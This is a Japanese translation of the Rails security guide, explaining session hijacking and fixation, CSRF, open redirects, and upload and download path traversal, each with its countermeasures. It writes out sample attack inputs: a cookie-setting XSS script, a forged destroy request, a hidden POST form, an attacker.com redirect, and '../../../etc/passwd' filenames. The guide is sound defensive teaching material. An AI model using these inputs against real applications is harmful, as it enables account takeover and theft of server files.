edge
詳細はrubyonrails.orgで: もっとRuby on Rails

Railsアプリケーションのセキュリティ確保

このマニュアルでは、Webアプリケーションにおける一般的なセキュリティの問題と、Railsを使用してそれらを回避する方法について説明します。

このガイドを読み終えると、以下のことがわかるようになります:

1 はじめに

Webアプリケーションフレームワークは、開発者がWebアプリケーションを構築するのを支援するために作られています。それらの中には、Webアプリケーションのセキュリティをサポートするものもあります。実際、1つのフレームワークが他のフレームワークよりも安全であるということはありません:正しく使用すれば、多くのフレームワークで安全なアプリケーションを構築することができます。例えば、Ruby on RailsにはSQLインジェクションに対する賢いヘルパーメソッドがあり、それはほとんど問題ではありません。

一般的に、プラグアンドプレイのセキュリティというものは存在しません。セキュリティは、フレームワークを使用する人々に依存し、時には開発方法にも依存します。そして、Webアプリケーション環境のすべてのレイヤーに依存します:バックエンドストレージ、Webサーバー、およびWebアプリケーション自体(および他のレイヤーやアプリケーションがあるかもしれません)。

しかし、ガートナーグループによると、攻撃の75%はWebアプリケーションレイヤーで行われており、「300の監査対象サイトのうち97%が攻撃の脆弱性を持っている」という結果が出ています。これは、Webアプリケーションが比較的攻撃しやすいためであり、それらは一般の人でも理解しやすく操作しやすいからです。

Webアプリケーションへの脅威には、ユーザーアカウントの乗っ取り、アクセス制御のバイパス、機密データの読み取りや変更、詐欺的なコンテンツの表示などがあります。また、攻撃者はトロイの木馬プログラムや迷惑メール送信ソフトウェアをインストールしたり、金銭的な利益を狙ったり、企業のリソースを変更することでブランド名の損害を引き起こすことができるかもしれません。攻撃を防止し、その影響を最小限に抑え、攻撃のポイントを排除するためには、まず攻撃手法を正しく理解し、適切な対策を見つける必要があります。それがこのガイドの目的です。

安全なWebアプリケーションを開発するためには、すべてのレイヤーについて最新の情報を把握し、敵を知る必要があります。セキュリティメーリングリストに登録したり、セキュリティブログを読んだり、更新とセキュリティチェックを習慣にすることで最新の情報を把握することができます(追加リソースの章を参照してください)。それは手動で行われますが、それが厄介な論理的なセキュリティの問題を見つける方法です。

2 セッション

この章では、セッションに関連する特定の攻撃と、セッションデータを保護するためのセキュリティ対策について説明します。

2.1 セッションとは何ですか?

セッションは、ユーザーがアプリケーションとやり取りする間に、アプリケーションがユーザー固有の状態を維持するためのものです。例えば、セッションを使用することで、ユーザーは一度認証を行い、将来のリクエストに対してサインインしたままにすることができます。

ほとんどのアプリケーションは、アプリケーションとやり取りするユーザーの状態を追跡する必要があります。これは、ショッピングカートの内容や現在ログインしているユーザーのユーザーIDなどです。このようなユーザー固有の状態はセッションに保存することができます。

Railsは、アプリケーションにアクセスする各ユーザーごとにセッションオブジェクトを提供します。ユーザーが既にアクティブなセッションを持っている場合、Railsは既存のセッションを使用します。そうでない場合は新しいセッションが作成されます。

セッションについての詳細や使用方法については、アクションコントローラーの概要ガイドを参照してください。

2.2 セッションハイジャック

ユーザーのセッションIDを盗むことで、攻撃者は被害者の名前でWebアプリケーションを使用することができます。

多くのWebアプリケーションには認証システムがあります:ユーザーがユーザー名とパスワードを提供し、Webアプリケーションがそれらをチェックし、対応するユーザーIDをセッションハッシュに保存します。これにより、セッションが有効になります。以降のすべてのリクエストでは、セッション中のユーザーIDによって識別されるユーザーをアプリケーションがロードし、新たな認証は必要ありません。クッキーのセッションIDがセッションを識別します。

したがって、クッキーはWebアプリケーションの一時的な認証として機能します。他の人からクッキーを奪った場合、そのユーザーとしてWebアプリケーションを使用することができます - これにより重大な結果をもたらす可能性があります。以下にセッションをハイジャックする方法とその対策方法を示します: * セキュリティの脆弱なネットワークでクッキーを嗅ぐ。ワイヤレスLANはそのようなネットワークの一例です。暗号化されていないワイヤレスLANでは、接続されたすべてのクライアントのトラフィックを監視することが特に容易です。Webアプリケーションビルダーにとっては、SSLを介した安全な接続を提供することが重要です。Rails 3.1以降では、アプリケーションの設定ファイルで常にSSL接続を強制することができます。

```ruby
config.force_ssl = true
```
  • 多くの人々は、公共の端末で作業した後にクッキーを削除しません。したがって、前のユーザーがWebアプリケーションからログアウトしていない場合、あなたはそのユーザーとして使用することができます。Webアプリケーションには、ユーザーにログアウトボタンを提供し、目立たせる必要があります。

  • 多くのクロスサイトスクリプティング(XSS)攻撃は、ユーザーのクッキーを取得することを目的としています。XSSについては後で詳しく説明します

  • 攻撃者は、攻撃者には未知のクッキーを盗む代わりに、ユーザーのセッション識別子(クッキー内)を修正します。このようなセッション固定と呼ばれるものについては、後で詳しく説明します。

ほとんどの攻撃者の主な目的はお金を稼ぐことです。盗まれた銀行のログインアカウントの地下価格は、アカウント残高の0.5%〜10%、クレジットカード番号の場合は0.5ドル〜30ドル(詳細情報付きの場合は20ドル〜60ドル)、身元(名前、社会保障番号、生年月日)の場合は0.1ドル〜1.5ドル、小売業者アカウントの場合は20ドル〜50ドル、クラウドサービスプロバイダーアカウントの場合は6ドル〜10ドルです。Symantecインターネットセキュリティ脅威レポート(2017年)によると。

2.3 セッションストレージ

注意:RailsはデフォルトのセッションストレージとしてActionDispatch::Session::CookieStoreを使用しています。

ヒント:他のセッションストレージについては、Action Controller概要ガイドを参照してください。

RailsのCookieStoreは、セッションハッシュをクライアント側のクッキーに保存します。 サーバーはクッキーからセッションハッシュを取得し、セッションIDの必要性をなくします。これにより、アプリケーションの速度が大幅に向上しますが、これは議論の余地があるストレージオプションであり、セキュリティ上の影響とストレージ制限について考える必要があります。

  • クッキーには4 kBのサイズ制限があります。セッションに関連するデータにのみクッキーを使用してください。

  • クッキーはクライアント側に保存されます。クライアントは期限切れのクッキーの内容を保持する場合があります。クライアントはクッキーを他のマシンにコピーする場合があります。クッキーには機密データを保存しないでください。

  • クッキーは本質的に一時的なものです。サーバーはクッキーの有効期限を設定できますが、クライアントはそれより前にクッキーとその内容を削除する場合があります。より永続的な性質のデータは、サーバーサイドに保持してください。

  • セッションクッキーは自動的に無効にならず、悪意のある再利用が可能です。アプリケーションが古いセッションクッキーを格納したタイムスタンプを使用して無効にすることは良いアイデアかもしれません。

  • Railsはデフォルトでクッキーを暗号化します。クライアントは暗号化を破ることなくクッキーの内容を読み取ったり編集したりすることはできません。適切に秘密を管理すれば、クッキーは一般的に安全と見なすことができます。

CookieStoreは、セッションデータを保存するための安全で暗号化された場所を提供するために、encryptedクッキージャーを使用します。したがって、クッキーベースのセッションは内容の整合性と機密性の両方を提供します。暗号化キーと、signedクッキーに使用される検証キーは、secret_key_baseの設定値から派生します。

ヒント:秘密は長くランダムである必要があります。新しい一意の秘密を取得するには、bin/rails secretを使用してください。

情報:このガイドの後半で資格情報の管理について詳しく説明します

暗号化されたクッキーと署名付きクッキーには、異なるソルト値を使用することも重要です。異なるソルト構成値に同じ値を使用すると、異なるセキュリティ機能に同じ派生キーが使用される可能性があり、キーの強度が弱まる可能性があります。

テストと開発アプリケーションでは、アプリ名から派生したsecret_key_baseを取得します。他の環境では、config/credentials.yml.encに存在するランダムなキーを使用する必要があります。以下は、復号化された状態で表示されるconfig/credentials.yml.encの例です。

secret_key_base: 492f...

警告:アプリケーションの秘密が公開された可能性がある場合は、変更することを強く検討してください。secret_key_baseを変更すると、現在アクティブなセッションが期限切れになり、すべてのユーザーが再ログインする必要があります。セッションデータだけでなく、暗号化されたクッキー、署名付きクッキー、Active Storageファイルも影響を受ける可能性があります。

2.4 暗号化されたクッキーと署名付きクッキーの設定の回転

回転は、クッキーの設定を変更し、古いクッキーがすぐに無効にならないようにするために理想的です。ユーザーはサイトを訪れ、古い設定でクッキーを読み取り、新しい変更で書き換えられるチャンスを得ることができます。ユーザーがクッキーをアップグレードする機会を十分に得たと確信できるまで、回転を削除することができます。 暗号化されたクッキーや署名付きクッキーの暗号とダイジェストを回転させることが可能です。

例えば、署名付きクッキーのダイジェストをSHA1からSHA256に変更する場合、まず新しい設定値を割り当てます。

Rails.application.config.action_dispatch.signed_cookie_digest = "SHA256"

次に、既存のクッキーがシームレスに新しいSHA256ダイジェストにアップグレードされるように、古いSHA1ダイジェストの回転を追加します。

Rails.application.config.action_dispatch.cookies_rotations.tap do |cookies|
  cookies.rotate :signed, digest: "SHA1"
end

これにより、書き込まれた署名付きクッキーはSHA256でダイジェストされます。SHA1で書き込まれた古いクッキーは引き続き読み取ることができ、アクセスされた場合には新しいダイジェストで書き込まれるため、アップグレードされ、回転を削除すると無効になりません。

SHA1ダイジェストで署名付きクッキーを持つユーザーがクッキーが書き換えられる可能性がなくなったら、回転を削除してください。

回転はいくつでも設定できますが、一度に多くの回転を行うことは一般的ではありません。

暗号化および署名付きメッセージのキーローテーションの詳細およびrotateメソッドが受け入れるさまざまなオプションについては、MessageEncryptor APIおよびMessageVerifier APIのドキュメントを参照してください。

2.5 CookieStoreセッションのリプレイ攻撃

CookieStoreを使用する際に注意する必要がある攻撃の一つは、リプレイ攻撃です。

攻撃は次のように行われます。

  • ユーザーがクレジットを受け取り、その金額がセッションに保存されます(これは本来は良くないアイデアですが、デモンストレーションの目的で行います)。
  • ユーザーが何かを購入します。
  • 新しい調整されたクレジット値がセッションに保存されます。
  • ユーザーは最初のステップでのクッキー(以前にコピーしたもの)を取得し、ブラウザ内の現在のクッキーと置き換えます。
  • ユーザーは元のクレジットを取り戻します。

セッションにランダムな値であるnonce(ノンス)を含めることで、リプレイ攻撃を防ぐことができます。nonceは一度だけ有効であり、サーバーはすべての有効なnonceを追跡する必要があります。複数のアプリケーションサーバーを持っている場合はさらに複雑になります。nonceをデータベーステーブルに保存すると、CookieStoreの目的であるデータベースへのアクセスを避けることができません。

これに対する最善の解決策は、この種のデータをセッションではなくデータベースに保存することです。この場合、クレジットをデータベースに保存し、logged_in_user_idをセッションに保存します。

2.6 セッションフィクセーション

セッションIDを盗むだけでなく、攻撃者は既知のセッションIDを固定することもできます。これをセッションフィクセーションと呼びます。

セッションフィクセーション

この攻撃は、攻撃者が知っているユーザーのセッションIDを固定し、ユーザーのブラウザをこのIDを使用するように強制することに焦点を当てています。そのため、攻撃者はセッションIDを後で盗む必要はありません。この攻撃の手順は次のとおりです。

  • 攻撃者は有効なセッションIDを作成します。セッションを固定したいWebアプリケーションのログインページを読み込み、レスポンスからクッキーのセッションIDを取得します(画像の1と2を参照)。
  • 攻撃者は定期的にWebアプリケーションにアクセスしてセッションを維持し、期限切れにならないようにします。
  • 攻撃者はユーザーのブラウザをこのセッションIDを使用するように強制します(画像の3を参照)。別のドメインのクッキーを変更することはできないため(同一生成ポリシーのため)、攻撃者はターゲットWebアプリケーションのドメインからJavaScriptを実行する必要があります。XSSによってJavaScriptコードをアプリケーションに注入することで、この攻撃を実行します。以下は例です:<script>document.cookie="_session_id=16d5b78abb28e3d6206b60f22a03c8d9";</script>。XSSとインジェクションについては後で詳しく説明します。
  • 攻撃者はJavaScriptコードが埋め込まれた感染したページに被害者を誘導します。ページを表示することで、被害者のブラウザはセッションIDを罠のセッションIDに変更します。
  • 新しい罠のセッションが未使用であるため、Webアプリケーションはユーザーに認証を要求します。
  • これ以降、被害者と攻撃者は同じセッションでWebアプリケーションを共有します:セッションが有効になり、被害者は攻撃に気付きませんでした。

2.7 セッションフィクセーション - 対策

1行のコードでセッションフィクセーションから保護されます。

最も効果的な対策は、新しいセッション識別子を発行し、成功したログイン後に古い識別子を無効にすることです。これにより、攻撃者は固定されたセッション識別子を使用することができません。これはセッションハイジャックに対する良い対策でもあります。Railsで新しいセッションを作成する方法は次のとおりです: ruby reset_session

人気のあるDeviseジェムを使用する場合、サインインとサインアウト時にセッションが自動的に期限切れになります。独自の方法で実装する場合は、サインインアクション(セッションが作成される時点)の後にセッションを期限切れにすることを忘れないでください。これにより、セッションから値が削除されるため、「新しいセッションに転送する必要があります」。

もう一つの対策は、「セッションにユーザー固有のプロパティを保存し、リクエストが来るたびにそれらを検証し、情報が一致しない場合はアクセスを拒否する」というものです。これらのプロパティには、リモートIPアドレスやユーザーエージェント(Webブラウザの名前)などが含まれますが、後者はユーザーに特定されにくいです。IPアドレスを保存する際には、インターネットサービスプロバイダや大規模な組織がユーザーをプロキシの背後に配置することがあることを考慮する必要があります。これらはセッションの間に変更される可能性があるため、これらのユーザーはアプリケーションを使用できないか、制限された方法でのみ使用できます。

2.8 セッションの期限切れ

注意:「期限切れにならないセッションは、クロスサイトリクエストフォージェリ(CSRF)、セッションハイジャック、セッションフィクセーションなどの攻撃の時間枠を延長します。」

セッションIDのクッキーの有効期限を設定することができますが、クライアントはWebブラウザに保存されているクッキーを編集することができるため、サーバー上でセッションを期限切れにする方が安全です。以下は、データベーステーブル内のセッションを期限切れにする方法の例です。Session.sweep(20.minutes)を呼び出して、20分前よりも長く使用されたセッションを期限切れにします。

class Session < ApplicationRecord
  def self.sweep(time = 1.hour)
    where(updated_at: ...time.ago).delete_all
  end
end

セッションフィクセーションに関するセクションでは、セッションの維持に関する問題が紹介されました。5分ごとにセッションを維持する攻撃者は、セッションを永遠に維持することができますが、セッションは期限切れになります。これに対する簡単な解決策は、セッションテーブルにcreated_atカラムを追加することです。これにより、長い時間前に作成されたセッションを削除できます。上記のsweepメソッド内で次の行を使用します。

where(updated_at: ...time.ago).or(where(created_at: ...2.days.ago)).delete_all

3 クロスサイトリクエストフォージェリ(CSRF)

この攻撃方法は、ユーザーが認証されたと信じられているWebアプリケーションに悪意のあるコードやリンクを含めることによって機能します。Webアプリケーションのセッションがタイムアウトしていない場合、攻撃者は不正なコマンドを実行することができます。

クロスサイトリクエストフォージェリ

セッションの章では、ほとんどのRailsアプリケーションがクッキーベースのセッションを使用していることを学びました。セッションIDをクッキーに保存し、サーバーサイドのセッションハッシュを持っているか、セッションハッシュ全体がクライアントサイドにあるかのいずれかです。いずれの場合でも、ブラウザはドメインに対してクッキーを自動的に送信します。異なるドメインのサイトからのリクエストの場合、クッキーも送信されます。以下は例です。

  • Bobはメッセージボードを閲覧し、ハッカーが作成した投稿を見ます。その投稿には、画像ファイルではなくBobのプロジェクト管理アプリケーションのコマンドが含まれています:<img src="http://www.webapp.com/project/1/destroy">
  • Bobのセッションはwww.webapp.comでまだ有効です。数分前にログアウトしていませんでした。
  • 投稿を閲覧すると、ブラウザは画像タグを見つけます。www.webapp.comから疑わしい画像を読み込もうとします。前述のように、有効なセッションIDを持つクッキーも送信されます。
  • www.webapp.comのWebアプリケーションは、対応するセッションハッシュ内のユーザー情報を検証し、IDが1のプロジェクトを削除します。その後、ブラウザに予期しない結果ページを返しますので、画像は表示されません。
  • Bobは攻撃に気付きませんが、数日後にプロジェクト番号1がなくなっていることに気付きます。

実際のクラフトされた画像やリンクは、Webアプリケーションのドメインに配置されている必要はありません。フォーラム、ブログ投稿、またはメールのどこにでも存在する可能性があります。

CVE(Common Vulnerabilities and Exposures)では、CSRFは非常にまれに発生します(2006年の割合は0.1%未満)。しかし、これは多くのセキュリティ契約作業の結果とは対照的です。CSRFは重要なセキュリティの問題です。

3.1 CSRF 対策

注意: まず、W3C の要件に従って適切に GET と POST を使用してください。また、非 GET リクエストにセキュリティトークンを使用することで、CSRF からアプリケーションを保護することができます。

3.1.1 適切に GET と POST を使用する

HTTP プロトコルは基本的に、GET と POST の2つの主要なリクエストタイプを提供します(DELETE、PUT、PATCH は POST のように使用する必要があります)。World Wide Web Consortium (W3C) は、HTTP GET または POST を選択するためのチェックリストを提供しています。

GET を使用する場合:

  • インタラクションが「質問のようなもの」である場合(つまり、クエリ、読み取り操作、または検索などの安全な操作である場合)。

POST を使用する場合:

  • インタラクションが「注文のようなもの」である場合、または
  • インタラクションがリソースの状態を「変更する」ものであり、ユーザーがその結果に「責任を持つ」場合(例: サービスへの購読)、または
  • ユーザーがインタラクションの結果に「責任を持つ」場合。

Web アプリケーションが RESTful である場合、PATCH、PUT、DELETE などの追加の HTTP メソッドを使用することがあるかもしれません。ただし、一部の旧式の Web ブラウザはこれらをサポートしていません - GET と POST のみです。Rails では、これらのケースを処理するために、隠し _method フィールドを使用します。

POST リクエストも自動的に送信することができます。次の例では、ブラウザのステータスバーには宛先として www.harmless.com が表示されていますが、実際には動的に新しいフォームが作成され、POST リクエストが送信されています。

<a href="http://www.harmless.com/" onclick="
  var f = document.createElement('form');
  f.style.display = 'none';
  this.parentNode.appendChild(f);
  f.method = 'POST';
  f.action = 'http://www.example.com/account/destroy';
  f.submit();
  return false;">To the harmless survey</a>

または、攻撃者は以下のように画像の onmouseover イベントハンドラにコードを配置します。

<img src="http://www.harmless.com/img" width="400" height="400" onmouseover="..." />

他にも、JSONP や JavaScript レスポンスを持つ URL にクロスサイトリクエストを行うために <script> タグを使用する方法など、さまざまな可能性があります。レスポンスは攻撃者が実行できる実行可能なコードであり、機密データを抽出する可能性があります。このデータ漏洩に対して保護するために、クロスサイト <script> タグを許可しないようにする必要があります。ただし、Ajax リクエストはブラウザの同一オリジンポリシーに従います(自分自身のサイトのみが XmlHttpRequest を開始できる)。そのため、安全に JavaScript レスポンスを返すことができます。

注意: <script> タグのオリジン(自分自身のサイトのタグか、他の悪意のあるサイトのタグか)を区別することはできませんので、実際には自分自身のサイトから提供される安全な同一オリジンスクリプトであっても、すべての <script> をブロックする必要があります。この場合、明示的に <script> タグ向けの CSRF 保護をスキップする必要があります。

3.1.2 必須のセキュリティトークン

その他の偽造されたリクエストに対して保護するために、サイトが知っているが他のサイトが知らない「必須のセキュリティトークン」を導入します。セキュリティトークンをリクエストに含め、サーバーで検証します。これは、config.action_controller.default_protect_from_forgerytrue に設定されている場合に自動的に行われます。これは、新しく作成された Rails アプリケーションのデフォルトです。また、次のようにアプリケーションコントローラに手動で追加することもできます。

protect_from_forgery with: :exception

これにより、Rails が生成するすべてのフォームにセキュリティトークンが含まれます。セキュリティトークンが予想されるものと一致しない場合、例外がスローされます。

Turbo を使用してフォームを送信する場合、セキュリティトークンも必要です。Turbo は、アプリケーションレイアウトの csrf メタタグからトークンを検索し、リクエストの X-CSRF-Token リクエストヘッダに追加します。これらのメタタグは csrf_meta_tags ヘルパーメソッドで作成されます。

<head>
  <%= csrf_meta_tags %>
</head>

これにより、次のような結果が得られます。

<head>
  <meta name="csrf-param" content="authenticity_token" />
  <meta name="csrf-token" content="THE-TOKEN" />
</head>

JavaScript から独自の非 GET リクエストを行う場合、セキュリティトークンも必要です。Rails Request.JS は、必要なリクエストヘッダを追加するロジックをカプセル化した JavaScript ライブラリです。

Ajax コールを行うために別のライブラリを使用する場合、デフォルトのヘッダとしてセキュリティトークンを追加する必要があります。メタタグからトークンを取得するには、次のような方法を使用できます。

document.head.querySelector("meta[name=csrf-token]")?.content

3.1.3 永続的なクッキーのクリア

ユーザー情報を保存するために永続的なクッキーを使用することは一般的です(例: cookies.permanent)。この場合、クッキーはクリアされず、デフォルトの CSRF 保護は効果がありません。この情報のためにセッション以外の別のクッキーストアを使用している場合は、それに対して自分で処理する必要があります。 ```ruby ActionController::InvalidAuthenticityToken に対する rescue_from は、ApplicationController に配置することができ、CSRF トークンが存在しないか、または正しくない場合に、非 GET リクエストで呼び出されます。

注意: クロスサイトスクリプティング (XSS) の脆弱性は、すべての CSRF 保護をバイパスします。 XSS は、攻撃者にページ上のすべての要素へのアクセス権を与えるため、フォームから CSRF セキュリティトークンを読み取るか、フォームを直接送信することができます。XSS について詳しく読む

4 リダイレクションとファイル

Web アプリケーションでのリダイレクションとファイルの使用に関連するセキュリティの脆弱性のクラスもあります。

4.1 リダイレクション

警告: Web アプリケーションでのリダイレクションは、過小評価されているクラッカーツールです: 攻撃者はユーザーをトラップウェブサイトに転送するだけでなく、自己完結型の攻撃を作成することもできます。

ユーザーがリダイレクションのために URL の一部を渡すことが許可されている場合、それは脆弱性の可能性があります。最も明らかな攻撃は、ユーザーを元のアプリケーションとまったく同じように見えるフェイクのウェブアプリケーションにリダイレクトすることです。このようなフィッシング攻撃は、ユーザーにメールで疑わしくないリンクを送信したり、Web アプリケーションに XSS でリンクを注入したり、外部サイトにリンクを配置したりすることで機能します。リンクは、ウェブアプリケーションの URL で始まり、悪意のあるサイトへの URL がリダイレクションパラメータに隠されているため、疑わしくありません: http://www.example.com/site/redirect?to=www.attacker.com。以下は、レガシーアクションの例です。

def legacy
  redirect_to(params.update(action: 'main'))
end

これにより、ユーザーはレガシーアクションにアクセスしようとした場合に、メインアクションにリダイレクトされます。意図は、レガシーアクションへの URL パラメータを保持し、それらをメインアクションに渡すことです。しかし、攻撃者が URL にホストキーを含めた場合、それは攻撃者のホストにユーザーをリダイレクトすることができます。

http://www.example.com/site/legacy?param1=xy&param2=23&host=www.attacker.com

URL の末尾にある場合はほとんど気づかれず、ユーザーは attacker.com ホストにリダイレクトされます。一般的なルールとして、ユーザーの入力を直接 redirect_to に渡すことは危険とされています。簡単な対策としては、レガシーアクションで予期されるパラメータのみを含めることです(予期しないパラメータを削除するのではなく、許可されたリストのアプローチです)。URL にリダイレクトする場合は、許可されたリストまたは正規表現でチェックしてください。

4.1.1 自己完結型 XSS

Firefox と Opera で動作する別のリダイレクションと自己完結型 XSS 攻撃は、データプロトコルの使用によって行われます。このプロトコルは、ブラウザでその内容を直接表示し、HTML や JavaScript から完全な画像まで何でも表示できます。

data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K

この例は、シンプルなメッセージボックスを表示する Base64 エンコードされた JavaScript です。リダイレクション URL では、攻撃者はこの URL に悪意のあるコードを含めてリダイレクトすることができます。対策としては、ユーザーに URL の (一部の) リダイレクトを許可しないことです。

4.2 ファイルのアップロード

注意: ファイルのアップロードが重要なファイルを上書きしないようにし、メディアファイルを非同期で処理します。

多くの Web アプリケーションでは、ユーザーがファイルをアップロードできるようになっています。ユーザーが選択できる (一部の) ファイル名は常にフィルタリングする必要があります。攻撃者は悪意のあるファイル名を使用してサーバー上の任意のファイルを上書きすることができます。ファイルのアップロードを /var/www/uploads に保存し、ユーザーが "../../../etc/passwd" のようなファイル名を入力した場合、重要なファイルを上書きする可能性があります。もちろん、Ruby インタプリタにはそれを行うための適切な権限が必要です - ウェブサーバー、データベースサーバー、および他のプログラムを特権のない Unix ユーザーとして実行する理由のもう一つです。

ユーザー入力のファイル名をフィルタリングする際には、悪意のある部分を削除しようとしないでください。Web アプリケーションがファイル名のすべての "../" を削除し、攻撃者が "....//" のような文字列を使用する状況を考えてみてください - 結果は "../" になります。許可されたリストのアプローチを使用するのが最善であり、受け入れられる文字のセットでファイル名の妥当性をチェックします。これは、許可されていない文字を削除しようとする制限されたリストのアプローチとは対照的です。有効なファイル名でない場合は、拒否してください(または受け入れられない文字を置き換えてください)、削除しないでください。以下は、attachment_fu プラグイン のファイル名サニタイザーです。

def sanitize_filename(filename)
  filename.strip.tap do |name|
    # 注意: File.basename は Unix 上の Windows パスでは正しく動作しません
    # パス全体ではなく、ファイル名のみを取得します
    name.sub!(/\A.*(\\|\/)/, '')
    # 最後に、すべての英数字、アンダースコア、ピリオド以外の文字をアンダースコアに置き換えます
    name.gsub!(/[^\w.-]/, '_')
  end
end

ファイルの同期処理(attachment_fuプラグインによる画像のアップロードなど)の重要な欠点は、サービス拒否攻撃への脆弱性です。攻撃者は多くのコンピュータから同期的に画像ファイルのアップロードを開始することができ、これによりサーバーの負荷が増加し、最終的にはサーバーがクラッシュまたは停止する可能性があります。

これに対する解決策は、メディアファイルを非同期に処理することです。メディアファイルを保存し、データベースに処理リクエストをスケジュールします。2番目のプロセスがバックグラウンドでファイルの処理を行います。

4.3 ファイルアップロードにおける実行可能コード

警告: アップロードされたファイル内のソースコードは、特定のディレクトリに配置された場合に実行される可能性があります。ApacheのホームディレクトリであるRailsの/publicディレクトリにファイルアップロードを配置しないでください。

人気のあるApacheウェブサーバーには、DocumentRootというオプションがあります。これはウェブサイトのホームディレクトリであり、このディレクトリツリー内のすべてのものはウェブサーバーによって提供されます。特定のファイル名拡張子を持つファイルがある場合、要求されたときにその中のコードが実行されます(一部のオプションの設定が必要な場合もあります)。これにはPHPファイルやCGIファイルなどがあります。攻撃者がコードが含まれた「file.cgi」というファイルをアップロードし、誰かがそのファイルをダウンロードすると実行される状況を考えてみてください。

もしApacheのDocumentRootがRailsの/publicディレクトリを指している場合、そこにファイルアップロードを配置しないでください、少なくとも1つ上のレベルにファイルを保存してください。

4.4 ファイルのダウンロード

注意: ユーザーが任意のファイルをダウンロードできないようにしてください。

アップロード時にファイル名をフィルタリングする必要があるように、ダウンロード時にも同様にフィルタリングする必要があります。send_file()メソッドはサーバーからクライアントへファイルを送信します。ユーザーが入力したファイル名をそのまま使用すると、フィルタリングせずに任意のファイルをダウンロードできます。

send_file('/var/www/uploads/' + params[:filename])

単純に"../../../etc/passwd"のようなファイル名を渡すと、サーバーのログイン情報をダウンロードできます。これを防ぐためには、要求されたファイルが予想されるディレクトリ内にあるかどうかを確認する必要があります。

basename = File.expand_path('../../files', __dir__)
filename = File.expand_path(File.join(basename, @file.public_filename))
raise if basename != File.expand_path(File.dirname(filename))
send_file filename, disposition: 'inline'

もう1つの(追加の)アプローチは、ファイル名をデータベースに保存し、ディスク上のファイルをデータベースのIDに基づいて命名することです。これは、アップロードされたファイル内の可能なコードが実行されるのを防ぐための良いアプローチです。attachment_fuプラグインも同様の方法でこれを行います。

5 ユーザー管理

注意: ほとんどのウェブアプリケーションは認証と認可に対処する必要があります。自分で作る代わりに、一般的なプラグインを使用することをお勧めします。ただし、それらも最新の状態に保つ必要があります。いくつかの追加の注意事項により、アプリケーションのセキュリティをさらに向上させることができます。

Railsにはさまざまな認証プラグインがあります。人気のあるdeviseauthlogicなどのプラグインは、暗号化されたパスワードのみを保存し、平文のパスワードを保存しません。Rails 3.1以降では、セキュアなパスワードのハッシュ化、確認、回復メカニズムをサポートする組み込みのhas_secure_passwordメソッドも使用できます。

5.1 アカウントのブルートフォース攻撃

注意: アカウントへのブルートフォース攻撃は、ログイン資格情報の試行錯誤攻撃です。より一般的なエラーメッセージを表示し、CAPTCHAの入力を要求することでこれを防ぎます。

ウェブアプリケーションのユーザー名のリストは、ほとんどの人が洗練されたパスワードを使用していないため、対応するパスワードのブルートフォース攻撃に悪用される可能性があります。ほとんどのパスワードは辞書の単語と数字の組み合わせです。したがって、ユーザー名のリストと辞書を持っていると、自動プログラムは数分で正しいパスワードを見つけることができます。

そのため、ほとんどのウェブアプリケーションでは、ユーザー名またはパスワードが正しくない場合に一般的なエラーメッセージ「ユーザー名またはパスワードが正しくありません」と表示されます。もし「入力したユーザー名が見つかりませんでした」と表示された場合、攻撃者は自動的にユーザー名のリストを作成することができます。

しかし、ほとんどのウェブアプリケーションデザイナーが見落としているのは、パスワードを忘れた場合のページです。これらのページでは、入力したユーザー名やメールアドレスが(見つかったかどうか)表示されることが多いです。これにより、攻撃者はユーザー名のリストを作成し、アカウントのブルートフォース攻撃を行うことができます。

このような攻撃を緩和するために、パスワードを忘れたページでも一般的なエラーメッセージを表示するようにしてください。さらに、特定のIPアドレスからの一定数のログイン失敗後にCAPTCHAの入力を要求することもできます。ただし、これは自動プログラムに対する完全な解決策ではありません。なぜなら、これらのプログラムはIPアドレスを頻繁に変更することができるからです。ただし、攻撃の障壁を高める効果があります。

5.2 アカウントハイジャック

多くのウェブアプリケーションは、ユーザーアカウントのハイジャックを容易にするものです。なぜ異なるアプローチを取らずに、より困難にするのでしょうか。

5.2.1 パスワード

攻撃者がユーザーのセッションクッキーを盗んだ場合、アプリケーションを共有利用することができます。パスワードを簡単に変更できる場合、攻撃者は数回のクリックでアカウントをハイジャックします。また、パスワード変更フォームがCSRFに対して脆弱である場合、攻撃者はCSRFを実行するクラフトされたIMGタグがあるウェブページに被害者を誘導することで、被害者のパスワードを変更することができます。対策としては、もちろん「パスワード変更フォームをCSRFから守る」ことです。また、「変更時にユーザーに古いパスワードの入力を要求する」ことも必要です。

5.2.2 Eメール

しかし、攻撃者はメールアドレスを変更することでアカウントを乗っ取ることもできます。メールアドレスを変更した後、忘れたパスワードページに移動し、(おそらく新しい)パスワードが攻撃者のメールアドレスに送信されます。対策としては、「メールアドレスの変更時にもパスワードの入力を要求する」ことです。

5.2.3 その他

ウェブアプリケーションによっては、ユーザーアカウントをハイジャックするためのさまざまな方法があります。多くの場合、CSRFとXSSがその手助けをします。たとえば、GoogleメールのCSRFの脆弱性のようにです。この攻撃の概念実証では、被害者は攻撃者が制御するウェブサイトに誘導されます。そのサイトには、Googleメールのフィルタ設定を変更するHTTP GETリクエストを行うクラフトされたIMGタグがあります。被害者がGoogleメールにログインしている場合、攻撃者はフィルタをすべてのメールを自分のメールアドレスに転送するように変更します。これはアカウント全体をハイジャックするのとほぼ同じくらい有害です。対策としては、「アプリケーションのロジックを見直し、すべてのXSSとCSRFの脆弱性を排除する」ことです。

5.3 CAPTCHA

情報: CAPTCHAは、応答がコンピュータによって生成されていないことを確認するためのチャレンジ-レスポンステストです。これは、登録フォームを攻撃者から保護し、ユーザーに歪んだ画像の文字を入力させることで、自動スパムボットからのコメントフォームを保護するためによく使用されます。これがポジティブCAPTCHAですが、ネガティブCAPTCHAもあります。ネガティブCAPTCHAのアイデアは、ユーザーが人間であることを証明するのではなく、ロボットがロボットであることを明らかにすることです。

人気のあるポジティブCAPTCHA APIは、reCAPTCHAで、古い本の単語の歪んだ画像を2つ表示します。これは、以前のCAPTCHAが破られたため、背景の歪みやテキストの高い歪みの代わりに、傾斜した線を追加しています。さらに、reCAPTCHAの使用は古い本のデジタル化にも役立ちます。ReCAPTCHAは、同じ名前のAPIとしてのRailsプラグインでもあります。

